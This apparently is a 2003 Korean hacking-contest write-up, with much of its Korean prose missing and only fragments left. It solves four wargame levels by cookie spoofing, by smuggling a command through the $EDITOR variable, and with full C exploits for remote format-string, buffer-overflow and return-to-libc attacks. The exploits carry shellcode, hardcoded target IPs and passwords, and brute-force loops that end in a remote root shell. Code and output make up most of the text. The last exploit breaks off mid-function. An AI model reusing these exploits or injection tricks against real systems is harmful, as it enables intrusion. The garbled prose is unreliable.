

---

2003

: DH (Igniz)

: 2003 11 26 ( ) 12:00

: 2003 11 27 ( ) 12:00

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\*

0x00: .

0x01: Level1 Hacking.

0x02: Level2 Hacking.

0x03: Level3 Hacking.

0x04: Level4 Hacking.

0x05: .

---

0x00: .

.  
가  
,  
가  
,

# 0x01: Level1 Hacking.

, Level1 .

---

[ 1 ]

<http://211.205.70.252>

admin .

---

, id, password admin

. ,

database daemon ,

method . SQL Injection , session

Cookie 80 .

GET / HTTP/1.0

, /cgi-bin/LeVel1NiMdA.cgi ,

username password 가 .

, /cgi-bin/LeVel1NiMdA.cgi .

GET /cgi-bin/LeVel1NiMdA.cgi HTTP/1.0

, Cookie auth id 가 .

Cookie Spoofing Cookie ,

, 가 Cookie

. .

Cookie auth admin , admin

, password .

---

```
bash$ telnet 211.205.70.252 80
Trying 211.205.70.252...
Connected to 211.205.70.252.
Escape character is '^]'.
GET /cgi-bin/LeVel1NiMdA.cgi HTTP/1.0
Cookie: auth=admin
...
HTTP/1.1 200 OK
...
Password: 2qjsanswpfh%ok
...
bash$
```

---

```
password , level2
Cookie spoofing
```

```
-- DH-COOKIELEB1.c --
/*
** DH-COOKIELEB1 - level1 cookie spoofing exploit
** exploit by "DH" (Igniz), <2033010253@sdu.ac.kr>.
**
** -- How to exploit --
**
** bash$ ./DH-suxCOOKIE test_host 80 /cgi-bin/LeVel1NiMdA.cgi auth=admin
** +Sending, Cookie information.
** +Getting, information: --
**
** HTTP/1.1 200 OK
** Date: ... GMT
** Server: ...
** Connection: close
** Content-Type: text/plain
**
** ... messages ...
```

```
** ... 2qjsanswpfh%ok
** ...
** _ _
** +Program end.
** bash$
** _ _
** I like Zero and, Igniz!
*/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
```

```
int setsock(char *hostname,int port);
void usage(char *args);
```

```
void usage(char *args)
{
    fprintf(stdout," \n Usage: %s [host] [port] [program path] [cookie
value] \n",args);
    fprintf(stdout," ex> %s test_host 80 /cgi-bin/LeVel1NiMdA.cgi
auth=admin \n \n");
    exit(-1);
}
```

```
int setsock(char *hostname,int port)
{
    int sock;
    struct hostent *he;
    struct sockaddr_in x_addr;

    if((he=gethostbyname(hostname))==NULL)
    {
        perror("gethostbyname");
```

```

        exit(-1);
    }
    if((sock=socket(AF_INET,SOCK_STREAM,0))==-1)
    {
        perror("socket");
        exit(-1);
    }
    x_addr.sin_family=AF_INET;
    x_addr.sin_port=htons(port);
    x_addr.sin_addr=((struct in_addr*)he->h_addr);
    bzero(&(x_addr.sin_zero),8);

    if(connect(sock,(struct sockaddr *)&x_addr,sizeof(struct sockaddr))==-1)
    {
        perror("connect");
        exit(1);
    }
    return(sock);
}

int main(int argc,char *argv[])
{
    char r_sbuf[1024];
    int sock,g_g=0;
    if(argc<5)
        (void)usage(argv[0]);
    if(argv[3][0]!='/')
    {
        fprintf(stderr,"web path error. \n");
        fprintf(stderr,"ex> /index.html (O) index.html (X) \n");
        exit(-1);
    }

    sock=setsock(argv[1],atoi(argv[2]));
    memset((char *)r_sbuf,0,sizeof(r_sbuf)-1);
    snprintf(r_sbuf,sizeof(r_sbuf)-1,"GET %s HTTP/1.0 \n"

```

```
"Accept: */* \nAccept-Language: ko \nUser-Agent: suxCookie \n"
"Host: test_cookie \nConnection: Keep-Alive \nCookie: %s \n \n",
argv[3],argv[4]);
```

```
fprintf(stdout,"+Sending, Cookie information. \n");
send(sock,r_sbuf,strlen(r_sbuf),0);
fprintf(stdout,"+Getting, information: - - \n \n");
while(read(sock,&g_g,1)){
    fprintf(stdout,"%c",g_g);
}
fprintf(stdout,"- - \n");
close(sock);
fprintf(stdout,"+Program end. \n");
exit(-1);
```

```
}
```

```
/* eoc */
```

```
--
```

# 0x02: Level2 Hacking.

```
Level2
[ 2 ]
211.205.70.252 18523/tcp
가

chroot daemon
daemon , src code

-- src script --
#!/bin/ksh

if /bin/test -z $1 ; then echo "usage: src <name>"; exit ; fi

fname=`/bin/basename $1`

if /bin/test -z $EDITOR ; then EDITOR=/bin/cat ; fi

echo "==== source =[$fname]===="
$EDITOR source/$fname
echo "===="
--

,
/basename
$fname
$EDITOR test
, /bin/cat
$EDITOR
가
```

```

, $EDITOR /bin/cat source
.
가
. ls
shell `*`
( : /bin/ls /etc/* , *
.)
echo

```

**echo /\***

```

, chroot
, /etc PASSWORD 가
.
telnet

```

---

```

bash$ telnet 211.205.70.252 18523
Trying 211.205.70.252...
Connected to 211.205.70.252.
Escape character is '^]'.
...
export EDITOR="/bin/cat /etc/PASSWORD ";
src test;
...
Password: wklghkxld-3
...

```

---

```

$EDITOR /bin/cat /etc/PASSWORD ,
' ' , src
. src , /etc/PASSWORD
, Level3

```



# 0x03: Level3 Hacking.

```
Level3
-----
[ 3 ]
211.205.70.252      35232/tcp

-----

Secure daemon
가 daemon
, ftp server LIST

HELP

-- HELP --
== HELP ==
HELP : this page
USER : Username
PASS : Password
LIST : List
NOOP : No Operation
EXPN : Expand command
OPTE : Echo Option toggle
OPTV : Verbose Option toggle
OPTD : Debug Option toggle
OPTL : Print Option
VERS : Print version
QUIT : quit
--

,
. OPTL
ON( ) OPTE, OPTV, OPTD
```

```

ON                                , OPTS                                OFF
                                , Stack Debug mode(    )
OPTS                                , stack
.

stack    가                                stack
                                , stack    overflow    format string    가
                                , format string
remote format string

                                echo option                                ,    가    shellcode
                                ,

                                stack    %8x 3
                                , shellcode
                                retloc    . .dtors    GOT
                                stack    stack    return address
brute-force

                                4
                                , $-flag                                , (
                                format string                                method    .)

return address

                                , shell()                                , loop
                                loop    가    return address    4    가
.

remote    format string                                exploit
code

```

```

- - DH-suxLEB3.c - -
/*
** DH-suxLEB3 - x86/linux level3 remote format string exploit
** exploit by "DH" (Igniz), <2033010253@sdu.ac.kr>.
**
** - - How to exploit - -
**
** bash$ ./DH-suxLEB3 -t0 -c id
**
** DH-suxLEB3 - x86/linux level3 remote format string exploit.
**
** [*] Target Host: test_host:test_port
** [*] Target type: Testing Testing Testing my Platform.
** [+] Make shellcode.
** [+] shellcode address: 0xbffff824
** ...
** [*] Ok, Brute-force address: 0x8049658
** [+] Setting socket.
** [#1] Connect, It's message.
** [#2] Send password: - -
** [#3] Send OPTE command.
** [#4] Send OPTS command.
** [#5] Send QUIT command.
** [+] Waiting, Shell.
** uid=0 gid=0
**
** - -
** I like Zero and, Igniz!
*/

#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>

#define PASSWD "wk!ghkxld-3. \n"

```

```

#define QUIT_CMD "QUIT \n" /* quit */
#define OPTE_CMD "OPTE \n" /* Echo Option toggle */
#define OPTS_CMD "OPTS \n" /* Stack debug mode */
#define DEF_CMD "ksh -i; id \n" /* default command */
#define TEST_HOST
#undef TEST_HOST /* undef ;D */
#ifdef TEST_HOST
#define HOSTNAME "test_host"
#define PORT "test_port"//31337
#define DFLAG 1
#else
#define HOSTNAME "211.205.70.252"
#define PORT 35232
#define DFLAG 3 // $-flag count
#endif

struct os{
    int num;
    char *ost;
    u_long retrr; /* brute-force target */
    u_long shell;
};

struct os plat[]={
    {0,"Testing Testing Testing my Platform.",
        0x08049650,0xbffff824},
    /* successfully range: 0xbffefbc0 ~ 0xbffefbd0 */
    {1,"Secure Deamon v0.1(?) Linux Platform Testing.",
        0xbffefac8,0xbffefc88}
};

char shellcode[]= /* 24byte small code */
    "\ x31 \ xd2 \ x52 \ x68 \ x6e \ x2f \ x73 \ x68 \ x68 \ x2f \ x2f \ x62 \ x69 \ x
89 \ xe3 \ x52"
    "\ x53 \ x89 \ xe1 \ x8d \ x42 \ x0b \ xcd \ x80";

```

```

u_char __bigbf[120*16];
u_char __midbf[120*8];
u_char __smlbf[120*4];
char readbuf[2048];
int type=1,chk=0; /* default type: 1 */
char command[256]=DEF_CMD;

int setsock(char *hostname,int port);
void shell(int socks);
void usage(char *args);

int main(int argc,char *argv[])
{
    int a,b,c,flag=(DFLAG),port=(PORT);
    int e,f,g,h,a1,a2,a3,a4,g_g=0;

    char hostname[256]=HOSTNAME;
    u_long retloc=0,shaddr=0;
    int socket_fd,__bf=0; /* default bf: 0 */

    memset((char *)__bigbf,0,sizeof(__bigbf));
    memset((char *)__midbf,0,sizeof(__midbf));
    memset((char *)__smlbf,0,sizeof(__smlbf));
    memset((char *)readbuf,0,sizeof(readbuf));

    fprintf(stdout," \n DH-suxLEB3 - x86/linux level3 remote format string
exploit. \n \n");
    fflush(stdout);

    while((a=getopt(argc,argv,"c:r:s:f:h:t:b"))!=EOF){
        switch(a){
            case 'c':
                memset((char *)command,0,sizeof(command));
                strncpy(command,optarg,sizeof(command)-2);
                strncat(command," \n",1);
                break;

```

```

        case 'r': /* ret address */
            retloc=strtoul(optarg,NULL,0);
            break;

        case 's': /* &shell address */
            shaddr=strtoul(optarg,NULL,0);
            break;

        case 'f': /* $-flag */
            flag=atoi(optarg);
            break;

        case 'h': /* hostname */
            memset((char *)hostname,0,sizeof(hostname));
            strncpy(hostname,optarg,sizeof(hostname) - 1);
            break;

        case 't': /* target type. */
            if(type>1) /* max 2 */
                (void)usage(argv[0]);
            else type=atoi(optarg);
            break;

        case 'b': /* brute-force mode. */
            __bf=1;
            break;

        case '?':
            (void)usage(argv[0]);
            break;
    }

}

retloc=plat[type].rettr;
shaddr=plat[type].shell;

```

```

fprintf(stdout," [*] Target Host: %s:%d \n",hostname,port);
fprintf(stdout," [*] Target type: %s \n",plat[type].ost);
fprintf(stdout," [+] Make shellcode. \n"); {
    for(b=0;b<140;b++)
    {
        __midbf[b]=0x40;
    }
    for(c=0;c<strlen(shellcode);c++)
    {
        __midbf[b++] = shellcode[c];
    }
}
fprintf(stdout," [+] shellcode address: %p \n",shaddr); {
#if 1 /*
*/
#define RNP(v,sh,ft) { \
    v=((sh)>>(ft))&0xff; \
}
#define X_X(a,b,c,d,shaddr) { \
    RNP(a,shaddr,24); \
    RNP(b,shaddr,16); \
    RNP(c,shaddr,8); \
    RNP(d,shaddr,0); \
}
#endif
#if 0

    e=(shaddr>>24)&0xff; /* example */
#else

    X_X(e,f,g,h,shaddr);
    X_X(a1,a2,a3,a4,shaddr);
    if((a4-32)<10)
        h+=0x00000100;
    if((a3-a4)<10)
        g+=0x00000100;
    if((a2-a3)<10)
        f+=0x00000100;
#endif

```

```

    }
    for(a=0,chk=0;a<1000;a++,retloc+=4)
    {
        int base_index=0;
        /*          0x00          , 0x0a 가          ,          */
#define CHECK(retloc) { \
    if((((retloc>>8)&0xff)==(0x0a)) || (((retloc>>0)&0xff)==(0x0a))) \
        continue; \
    if((((retloc>>8)&0xff)==(0x00)) || (((retloc>>0)&0xff)==(0x00))) \
        continue; \
}

        CHECK(retloc);
#ifdef 1//MASK_PUSH
#define MNP(__M,index,__wt) { \
    *(long *)&__M[index]=__wt; \
    index+=4; \
}
#endif

        fprintf(stdout," [*] Ok, Brute-force address: %p \n",retloc);

#ifdef 0
        *(long *)&__smlbf[0]=0x41414141;
#else
        /*          */
        MNP(__smlbf,base_index,0x41414141);
        MNP(__smlbf,base_index,retloc+0x00000000);
        MNP(__smlbf,base_index,0x41414141);
        MNP(__smlbf,base_index,retloc+0x00000001);
        MNP(__smlbf,base_index,0x42424242);
        MNP(__smlbf,base_index,retloc+0x00000002);
        MNP(__smlbf,base_index,0x42424242);
        MNP(__smlbf,base_index,retloc+0x00000003);
#endif

        /*      4          ,
        ** $-flag          .
        */

```



```

        snprintf(__bigbf,sizeof(__bigbf) - 1,

                "%s%%%d$%ux%%d$n%%d$%ux%%d$n%%d$%ux%%d$n%%d$%ux%%d$n%%d$%ux
                %%%d$n%s \n",

                __smlbf,flag+0x00000000,h-
32,flag+0x00000001,flag+0x00000002,
                g-a4,flag+0x00000003,flag+0x00000004,f-
a3,flag+0x00000005,
                flag+0x00000006,0x100+e-a2,flag+0x00000007,__midbf);

        fprintf(stdout," [ + ] Setting socket. \n");
        socket_fd=setsock(hostname,port);

#ifdef DEBUG
        sleep(10);
#endif

        memset((char *)readbuf,0,sizeof(readbuf));
        recv(socket_fd,readbuf,sizeof(readbuf) - 1,0);
        fprintf(stdout," [#1] Connect, It's message. \n");

#ifdef DEBUG
        fprintf(stdout," - - \n%s \n - - \n",readbuf);
#endif

        /* password      . */
        send(socket_fd,PASSWD,strlen(PASSWD),0);
        memset((char *)readbuf,0,sizeof(readbuf));
        recv(socket_fd,readbuf,sizeof(readbuf) - 1,0);
        fprintf(stdout," [#2] Send password: - - \n");

#ifdef DEBUG
        fprintf(stdout," - - \n%s \n - - \n",readbuf);
#endif

        /* opte      On      . */
        send(socket_fd,OPTE_CMD,strlen(OPTE_CMD),0);
        memset((char *)readbuf,0,sizeof(readbuf));
        recv(socket_fd,readbuf,sizeof(readbuf) - 1,0);
        fprintf(stdout," [#3] Send OPTE command. \n");

#ifdef DEBUG
        fprintf(stdout," - - \n%s \n - - \n",readbuf);

```

```

#endif

/* opts      On      . */
send(socket_fd,OPTS_CMD,strlen(OPTS_CMD),0);
memset((char *)readbuf,0,sizeof(readbuf));
recv(socket_fd,readbuf,sizeof(readbuf) - 1,0);
fprintf(stdout," [#4] Send OPTS command. \n");

#ifdef DEBUG

fprintf(stdout," - - \n%s \n - - \n",readbuf);

#endif

/* send code */
/*      . */
send(socket_fd,__bigbf,strlen(__bigbf),0);
memset((char *)readbuf,0,sizeof(readbuf));

/* QUIT      :
** segfault 가 daemon      .
*/
send(socket_fd,QUIT_CMD,strlen(QUIT_CMD),0);
memset((char *)readbuf,0,sizeof(readbuf));
recv(socket_fd,readbuf,sizeof(readbuf) - 1,0);
fprintf(stdout," [#5] Send QUIT command. \n");

fprintf(stdout," [ + ] Waiting, Shell. \n");
sleep(1);

/* segfault      , QUIT      daemon      .
**      ,      .
*/
send(socket_fd,command,strlen(command),0);
memset((char *)readbuf,0,sizeof(readbuf));
chk=recv(socket_fd,readbuf,sizeof(readbuf) - 1,0);
/*      , daemon
**      .
*/
if(chk== - 1){
    fprintf(stdout," [ - ] Failed, reconnect attack. \n \n");
}

```

```

        close(socket_fd);
        continue;
    }
    else
    {
        /*          shell          가          ,
        **          ,          .
        */

        fprintf(stdout,"%s \n",readbuf);
        (void)shell(socket_fd);
    }
    close(socket_fd);
}

}

void usage(char *args){
    fprintf(stdout," Usage: %s -options arguments \n \n",args);
    fprintf(stdout," -r [retloc]      - return address. \n");
    fprintf(stdout," -s [shell]      - shell address. \n");
    fprintf(stdout," -f [flag]      - flag number. \n");
    fprintf(stdout," -h [hostname]  - target host. \n");
    fprintf(stdout," -t [type]      - target type. \n");
    fprintf(stdout," -b            - brute-force mode. \n \n");
    fprintf(stdout," - Target type number list - \n \n");
    fprintf(stdout," {0}: Testing Testing Testing my Platform. \n");
    fprintf(stdout," {1}: Secure Deamon v0.1(?) Linux Platform Testing. \n");
    fprintf(stdout," \n Example: %s -t1 -hlocalhost \n \n",args);
    exit(0);
}

int setsock(char *hostname,int port)
{
    int sock;
    struct hostent *he;
    struct sockaddr_in x_addr;

```

```

if((he=gethostbyname(hostname))==NULL)
{
    perror("gethostbyname");
    exit(1);
}
if((sock=socket(AF_INET,SOCK_STREAM,0))== - 1)
{
    perror("socket");
    exit(1);
}
x_addr.sin_family=AF_INET;
x_addr.sin_port=htons(port);
x_addr.sin_addr=((struct in_addr*)he->h_addr);
bzero(&(x_addr.sin_zero),8);

if(connect(sock,(struct sockaddr *)&x_addr,sizeof(struct sockaddr))== - 1)
{
    perror("connect");
    exit(1);
}
return(sock);
}

```

```

void shell(int socks)
{
    int died;
    char fall_again[1024];
    fd_set rset;
    bzero(&fall_again,1024);

    while(1)
    {
        fflush(stdout);
        FD_ZERO(&rset);
        FD_SET(socks,&rset);
        FD_SET(STDIN_FILENO,&rset);
    }
}

```

```

select(socks + 1, &rset, NULL, NULL, NULL);

if(FD_ISSET(socks, &rset))
{
    died=read(socks, fall_again, sizeof(fall_again) - 1);
    if(died<=0)
    {
        fprintf(stdout, " \n [*] Thanks. \n \n");
        exit(0);
    }
    fall_again[died]=0;
    fprintf(stdout, "%s", fall_again);
}
if(FD_ISSET(STDIN_FILENO, &rset))
{
    died=read(STDIN_FILENO, fall_again, sizeof(fall_again) - 1);
    if(died>0)
    {
        fall_again[died]=0;
        write(socks, fall_again, died);
    }
}

}
return;
}

/* eof */
--
code                                shell                                ,
/etc/PASSWORD                        ,      Level4                        .

```

---

```
bash$ ./DH-suxLEB3 -t1 -c id
```

DH-suxLEB3 - x86/linux level3 remote format string exploit.

[\*] Target Host: 211.205.70.252:35232

[\*] Target type: Secure Deamon v0.1(?) Linux Platform Testing.

[+] Make shellcode.

[+] shellcode address: 0xbffefc88

[\*] Ok, Brute-force address: 0xbffefbc?

[+] Setting socket.

[#1] Connect, It's message.

[#2] Send password: - -

[#3] Send OPTE command.

[#4] Send OPTS command.

[#5] Send QUIT command.

[+] Waiting, Shell.

uid=1000 gid=1000

cat /etc/PASSWORD

...

Password: eoeks\$tlfur&wk

...

---

0x04: Level4 Hacking.

Level4	.
<hr/>	
[ 4 ]	
211.205.70.253	23152/tcp .
3	Format strings 가
가	Buffer Overflow .
4	가 .
	index.html ID .
, Capture the flag .	
<hr/>	

	buffer overflow	exploit
.	buffer overflow가	,
.	, Level3	가 USER
PASS	.	.
, stack debug	id password가	
. ( ,	)	

USER gammaray

PASS digital

, LIST	, buffer overrun
.	USER, PASS
.	.
가 가 ,	가 .
, canary address	.
,	.
, SIGSEGV signal	.
	, canary , signal() SIGSEGV
. stack debug	, =CHECK*=
가 ,	가 가

=CHECK1= & 120byte  
4byte frame pointer가  
return address가

, stack , RedHat Liunx 9.0  
Random stack stack  
stack , stack  
stack overflow exploit ,

, Random stack system 가 가  
, 가 ,

**Ret-to-lib exploit method** shellcode  
shell  
, system(), "/bin/sh"

Linux **jmp %esp**  
**exploit method**

( Windows buffer overflow exploit .)

, exploit  
, Random stack  
stack 가

가 , shellcode가 stack  
, , stack stack  
shell  
exploit code



```

- - DH-breakLEB4.c - -
/*
** DH-breakLEB4 - x86/redhat-linux level4 remote buffer overflow exploit
** exploit by "DH" (Igniz), <2033010253@sdu.ac.kr>.
**
** - - How to exploit - -
**
** bash$ ./DH-breakLEB4
**
** DH-breakLEB4 - x86/redhat-linux level4 remote buffer overflow exploit.
**
** [ + ] Setting socket.
** [#1] Connect, It's message.
** [#2] Send password.
** [*] Send code.
** [#3] Send QUIT command.
** [ + ] Waiting, Shell.
** [ - ] Failed, reconnect attack.
**
** [ + ] Setting socket.
** [#1] Connect, It's message.
** [#2] Send password.
** [*] Send code.
** [#3] Send QUIT command.
** [ + ] Waiting, Shell.
** uid=0 gid=0
**
** - -
** I like Zero and, Igniz!
*/

#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

```

```

#define PASSWD "eoeks$tlffur&wk \n"
#define QUIT_CMD "QUIT \n" /* quit */
#define DEF_CMD "ksh -i; id \n" /* default command */
#define HOSTNAME "211.205.70.253"
#define PORT 23152
#define USER_CMD "USER0123456789012345678901234"
#define CHECK_BD "=CHECK1=" /* boundary str */

#define RET_ADDR (0xbffdd58)

char shellcode[]=
    "\ x31 \ xd2 \ x52 \ x68 \ x6e \ x2f \ x73 \ x68 \ x68 \ x2f \ x2f \ x62 \ x69 \ x
89 \ xe3 \ x52"
    "\ x53 \ x89 \ xe1 \ x8d \ x42 \ x0b \ xcd \ x80";

u_char __bigbf[1024];
u_char __smlbf[256];
char readbuf[2048];
int chk=0;
char command[256]=DEF_CMD;

int setsock(char *hostname,int port);
void shell(int socks);
void usage(char *args);

int main(int argc,char *argv[])
{
    int socket_fd,i=0,j=0,a,port=(PORT);
    u_long retaddr=(RET_ADDR);
    char hostname[256]=HOSTNAME;
    memset((char *)__smlbf,0,sizeof(__smlbf));

    fprintf(stdout," \n DH-breakLEB4 - x86/redhat-linux level4 remote buffer
overflow exploit. \n \n");
    fflush(stdout);

```

```

while((a=getopt(argc,argv,"h:p:r:"))!=EOF){
    switch(a){
        case 'h':
            memset((char *)hostname,0,sizeof(hostname));
            strncpy(hostname,optarg,sizeof(hostname) - 1);
            break;

        case 'p':
            port=atoi(optarg);
            break;

        case 'r':
            retaddr=strtoul(optarg,NULL,0);
            break;

        case '?':
            (void)usage(argv[0]);
            break;
    }
}

for(i=0;i<120-strlen(shellcode);i++)
    __smlbf[i]=0x41;
for(j=0;j<strlen(shellcode);j++)
    __smlbf[i+j]=shellcode[j];

*(long *)&__smlbf[i]=0x41414141; /* frame pointer */
i+=4;
*(long *)&__smlbf[i]=retaddr; /* return address */
i+=4;
/* USER , . */
memset((char *)__bigbf,0,sizeof(__bigbf));
snprintf(__bigbf,sizeof(__bigbf)-
1,"%s%s%s \ n",USER_CMD,CHECK_BD,__smlbf);

```

```

/*                                     . */
while(1)
{
    fprintf(stdout," [ + ] Setting socket. \n");
    socket_fd=setsock(hostname,port);

#ifdef DEBUG
    sleep(10);
#endif

    memset((char *)readbuf,0,sizeof(readbuf));
    recv(socket_fd,readbuf,sizeof(readbuf) - 1,0);
    fprintf(stdout," [#1] Connect, It's message. \n");

#ifdef DEBUG
    fprintf(stdout," - - \n%s \n - - \n",readbuf);
#endif

    /* password */
    send(socket_fd,PASSWD,strlen(PASSWD),0);
    memset((char *)readbuf,0,sizeof(readbuf));
    recv(socket_fd,readbuf,sizeof(readbuf) - 1,0);
    fprintf(stdout," [#2] Send password. \n");

#ifdef DEBUG
    fprintf(stdout," - - \n%s \n - - \n",readbuf);
#endif

    /* send code */
    fprintf(stdout," [*] Send code. \n");
    send(socket_fd,__bigbf,strlen(__bigbf),0);
    memset((char *)readbuf,0,sizeof(readbuf));

    /* QUIT daemon */
    send(socket_fd,QUIT_CMD,strlen(QUIT_CMD),0);
    memset((char *)readbuf,0,sizeof(readbuf));
    recv(socket_fd,readbuf,sizeof(readbuf) - 1,0);
    fprintf(stdout," [#3] Send QUIT command. \n");

    fprintf(stdout," [ + ] Waiting, Shell. \n");
    sleep(1);
}

```

```

        /*
        **          , shell
        **
        */

        send(socket_fd,command,strlen(command),0);
        memset((char *)readbuf,0,sizeof(readbuf));
        chk=recv(socket_fd,readbuf,sizeof(readbuf) - 1,0);

        if(chk== -1){
            fprintf(stdout," [-] Failed, reconnect attack. \n \n");
            close(socket_fd);
            continue;
        }
        else
        {
            fprintf(stdout,"%s \n",readbuf);
            (void)shell(socket_fd);
        }
        close(socket_fd);
    }
}

```

```

void usage(char *args){
    fprintf(stdout," Usage: %s -options arguments \n \n",args);
    fprintf(stdout," -r [retloc]      - return address. \n");
    fprintf(stdout," -h [hostname]   - target host. \n");
    fprintf(stdout," -p [port]       - port number. \n");
    fprintf(stdout," \n Example: %s -hlocalhost -r0x41414141 \n \n",args);
    exit(0);
}

```

```

int setsock(char *hostname,int port)
{
    int sock;
    struct hostent *he;

```

```

struct sockaddr_in x_addr;

if((he=gethostbyname(hostname))==NULL)
{
    perror("gethostbyname");
    exit(1);
}
if((sock=socket(AF_INET,SOCK_STREAM,0))== - 1)
{
    perror("socket");
    exit(1);
}
x_addr.sin_family=AF_INET;
x_addr.sin_port=htons(port);
x_addr.sin_addr=((struct in_addr*)he->h_addr);
bzero(&(x_addr.sin_zero),8);

if(connect(sock,(struct sockaddr *)&x_addr,sizeof(struct sockaddr))== - 1)
{
    perror("connect");
    exit(1);
}
return(sock);
}

void shell(int socks)
{
    int died;
    char fall_again[1024];
    fd_set rset;
    bzero(&fall_again,1024);

    while(1)
    {
        fflush(stdout);
        FD_ZERO(&rset);
    }
}

```

```

    FD_SET(socks,&rset);
    FD_SET(STDIN_FILENO,&rset);
    select(socks + 1,&rset,NULL,NULL,NULL);

    if(FD_ISSET(socks,&rset))
    {
        died=read(socks,fall_again,sizeof(fall_again) - 1);
        if(died<=0)
        {
            fprintf(stdout," \n [*] Thanks. \n \n");
            exit(0);
        }
        fall_again[died]=0;
        fprintf(stdout,"%s",fall_again);
    }
    if(FD_ISSET(STDIN_FILENO,&rset))
    {
        died=read(STDIN_FILENO,fall_again,sizeof(fall_again) - 1);
        if(died>0)
        {
            fall_again[died]=0;
            write(socks,fall_again,died);
        }
    }
}
return;
}

/* eof */
--

```

shell , /PASSWORD ,

---

bash\$ ./DH-breakLEB4

DH-breakLEB4 - x86/redhat-linux level4 remote buffer overflow exploit.

[+] Setting socket.

[#1] Connect, It's message.

[#2] Send password.

[\*] Send code.

[#3] Send QUIT command.

[+] Waiting, Shell.

[-] Failed, reconnect attack.

[+] Setting socket.

[#1] Connect, It's message.

[#2] Send password.

[\*] Send code.

[#3] Send QUIT command.

[+] Waiting, Shell.

uid=1000 gid=1000

cat /PASSWORD

. 4 .

(hacking.kcs.ac.kr)

4

가 .

index.html

ID

, Capture the flag .

: cnr ^ rhwlrhtn%tmdflfmfdnlgo

---



가 , .  
( , .)  
, return address system lib ,  
exit , 4byte "/bin/sh".  
system exit lib debugger .

---

```
(gdb) br main
Breakpoint 1 at 0x804842b
(gdb) r
Starting program: /tmp/test_binary

Breakpoint 1, 0x804842b in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0x4203f2c0 <system>
(gdb) print exit
$2 = {<text variable, no debug info>} 0x42029bb0 <exit>
(gdb)
```

---

"/bin/sh" shell , address  
brute-force 가 , system exit .  
( linux ) , "/bin/sh"  
1byte 가 .  
( . "/bin/ksh")  
exploit code .

```

- - DH-retolib.c - -
/*
** DH-retolib - x86/redhat-linux level4 remote buffer overflow exploit
** Version: Return to library exploit method
** - -
** exploit by "DH" (Igniz), <2033010253@sdu.ac.kr>.
**
** - - How to exploit - -
**
** bash$ ./DH-retolib
**
** DH-retolib - x86/redhat-linux level4 remote buffer overflow exploit.
** Version: Return to library exploit method.
**
** ...
** [ + ] Setting socket.
** [#1] Connect, It's message.
** [#2] Send password.
** [*] Send code.
** [*] Brute-force address: 0xbffffbfb
** [#3] Send QUIT command.
** [ + ] Waiting, Shell.
** [ - ] Failed, reconnect attack.
**
** [ + ] Setting socket.
** [#1] Connect, It's message.
** [#2] Send password.
** [*] Send code.
** [*] Brute-force address: 0xbffffbfc
** [#3] Send QUIT command.
** [ + ] Waiting, Shell.
** uid=0 gid=0
**
** - -
** I like Zero and, Igniz!
*/

```

```

#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define PASSWD "eoks$tlffur&wk \n"
#define QUIT_CMD "QUIT \n" /* quit */
#define DEF_CMD "ksh -i; id \n" /* default command */
#define HOSTNAME "211.205.70.253"
#define PORT 23152
#define USER_CMD "USER0123456789012345678901234"
#define CHECK_BD "=CHECK1=" /* boundary str */

#define STRT_ADDR (0xbffffbf4)

char shellcode[]=
    "\ x31 \ xd2 \ x52 \ x68 \ x6e \ x2f \ x73 \ x68 \ x68 \ x2f \ x2f \ x62 \ x69 \ x
89 \ xe3 \ x52"
    "\ x53 \ x89 \ xe1 \ x8d \ x42 \ x0b \ xcd \ x80";

u_char __bigbf[1024];
u_char __smlbf[256];
char readbuf[2048];
int chk=0;
char command[256]=DEF_CMD;

int setsock(char *hostname,int port);
void shell(int socks);
void usage(char *args);

int main(int argc,char *argv[])
{
    int socket_fd,i=0,j=0,a,port=(PORT);
    u_long bf_addr=(STRT_ADDR); /*          stack          */

```

```

char hostname[256]=HOSTNAME;

fprintf(stdout," \n DH-retolib - x86/redhat-linux level4 remote buffer
overflow exploit. \n");
fprintf(stdout," Version: Return to library exploit method. \n \n");
fflush(stdout);

while((a=getopt(argc,argv,"h:p:a:"))!=EOF){
    switch(a){
        case 'h':
            memset((char *)hostname,0,sizeof(hostname));
            strncpy(hostname,optarg,sizeof(hostname) - 1);
            break;

        case 'p':
            port=atoi(optarg);
            break;

        case 'a':
            bf_addr=strtoul(optarg,NULL,0);
            break;

        case '?':
            (void)usage(argv[0]);
            break;
    }
}

while(1)
{
    if(bf_addr==0xbfffffff) /* stack */
    {
        fprintf(stdout," [ - ] Brute-force Failed. (stack end) \n \n");
        exit(-1);
    }
    else bf_addr++;
}

```

```

/*      shell      0x00      0x0a 가      .
**      ,      . */
#define CHECK(retloc) { \
    if((((retloc>>8)&0xff)==(0x0a)) | (((retloc>>0)&0xff)==(0x0a))) \
        continue; \
    if((((retloc>>8)&0xff)==(0x00)) | (((retloc>>0)&0xff)==(0x00))) \
        continue; \
}

CHECK(bf_addr);

memset((char *)__smlbf,0,sizeof(__smlbf));
for(i=0;i<120-strlen(shellcode);i++)
    __smlbf[i]=0x41;
for(j=0;j<strlen(shellcode);j++)
    __smlbf[i++] = shellcode[j];

*(long *)&__smlbf[i]=0x41414141; /* frame pointer */
i+=4;
*(long *)&__smlbf[i]=0x4203f2c0; /* system address */
i+=4;
*(long *)&__smlbf[i]=0x42029bb0; /* exit address */
i+=4;
*(long *)&__smlbf[i]=bf_addr; /* shell string address */
i+=4;
/*
** [ EBP ][ RET ][ ... ][ ... ]
** 0x41414141  system  exit  shell str
*/
/* USER      ,      . */
memset((char *)__bigbf,0,sizeof(__bigbf));
snprintf(__bigbf,sizeof(__bigbf)-
1,"%s%s%s \ n",USER_CMD,CHECK_BD,__smlbf);

fprintf(stdout," [ + ] Setting socket. \ n");
socket_fd=setsock(hostname,port);

```

```

#ifdef DEBUG
    sleep(10);
#endif

    memset((char *)readbuf,0,sizeof(readbuf));
    recv(socket_fd,readbuf,sizeof(readbuf) - 1,0);
    fprintf(stdout," [#1] Connect, It's message. \n");

#ifdef DEBUG
    fprintf(stdout," - - \n%s \n - - \n",readbuf);
#endif

    /* password */
    send(socket_fd,PASSWD,strlen(PASSWD),0);
    memset((char *)readbuf,0,sizeof(readbuf));
    recv(socket_fd,readbuf,sizeof(readbuf) - 1,0);
